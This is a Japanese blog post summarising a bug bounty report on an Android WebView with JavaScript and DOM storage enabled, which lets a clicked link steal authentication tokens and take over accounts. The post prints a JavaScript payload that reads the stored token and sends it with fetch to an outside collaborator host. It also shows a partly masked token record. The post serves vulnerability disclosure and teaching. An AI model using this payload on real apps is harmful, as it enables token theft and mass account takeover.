Hello there, ('ω')ノ
構成が間違っている WebView をワンクリックするだけで認証トークンを盗むを。
脆弱性:
アカウント乗っ取り
記事:
https://0xwise.medium.com/are-clicking-links-safe-f7cfcae2e421
今回は、Android WebView 攻撃について。
具体的には、メッセージ、コメント、または攻撃者の Web サイトまたは
URL へのリンクを含む投稿を投稿するだけで、HackerOne の
プライベート バグ報奨金プログラムを含む (ただしこれに限定されない)
ワンクリックでアカウント乗っ取りを実現できた方法を 。
Android ユーザーがリンクをクリックすると、攻撃者はその認証トークンと
アカウント データを盗むことができて。
WebView とは何か。
WebView は、開発者が JavaScript、Cookie、ユーザ入力のサポートなど、
アプリ内での Web ページの表示方法をカスタマイズできるようにする
コンポーネントで。
また、HTML、CSS、画像のレンダリングも可能になり、ユーザがリンクを
クリックしたりフォームを送信したりするなど、Web コンテンツを
操作できるようになり。
基本的に、これはアプリ コンテンツ用のブラウザで。
詳細:
HackerOne のプライベート バグ報奨金プログラムで Android アプリを
探しているときに、アプリの閲覧中に Web ビューが次のコードを実行し、
ユーザの認証トークンとアカウント データをローカル ストレージに
保存していることを発見して。
javascript:window.localStorage.setItem("u", JSON.stringify({"oldToken":"Basic NjQwMDE1N2EwMTA4MzI0NTI1Y2NiOWJmOmQ3MDVkZDkzLWRjMGMtNxxxxxxxx","id":"61957b5843xxxxx","email":"secret@myemail.com","username":"0xWise","referralCode":"","hasApiAccount":false,"hasMobileAccount":true,"hasWebAccount":true,"hasPasswordSet":true}));
このコードは、項目「u」の localStorage 値が上記のコードのデータと
等しいことを意味し。
コード内のデータには、自分のアカウントの JWT 認証トークンと同じ
「oldToken」が含まれていて。
(注: トークンは有効であり、古いものではなく)
Webview アクティビティは、setJavaScriptEnabled(true) および
setDomStorageEnabled(true) を許可するように設定され。
これは、Web ビュー内でクリックして開かれたリンクはすべて JavaScript を実行し、
問題なく localStorage オブジェクトと sessionStorage オブジェクトに
アクセスできることを意味して。
この脆弱性を検出および/または悪用するために、サーバ
(Replit ホスティング サービスを使用) に次のスクリプトを作成し。
alert(window.localStorage.getItem('u'));
fetch('https://eq8u3apw7h7746qv0l5madalnct3ht5i.oastify.com/log', {
method: 'POST',
mode: 'no-cors',
body:window.localStorage.getItem('u')
});
その後、Android アプリに移動し、Replit サーバの
URL (例: https://xss-redacted.repl.co) を含む投稿を作成し。
Android アプリのユーザまたは被害者がリンクをクリックすると、
結果は次のようになり。
インパクト
投稿、コメント、プロフィール Web サイトなどで攻撃者によって
制御されている URL を WebView 内で開くことができ、攻撃者に
ローカル ストレージからユーザのデータを盗むためのアクセス権を
与えることができて。
このデータにはユーザ認証トークンが含まれており、
アカウント乗っ取り (ATO) につながり。
さらに、攻撃者が投稿やコメントなどを通じてエクスプロイト URL を
簡単に拡散できるため、この脆弱性は大量のアカウント乗っ取りに
つながる可能性があって。
Best regards, (^^ゞ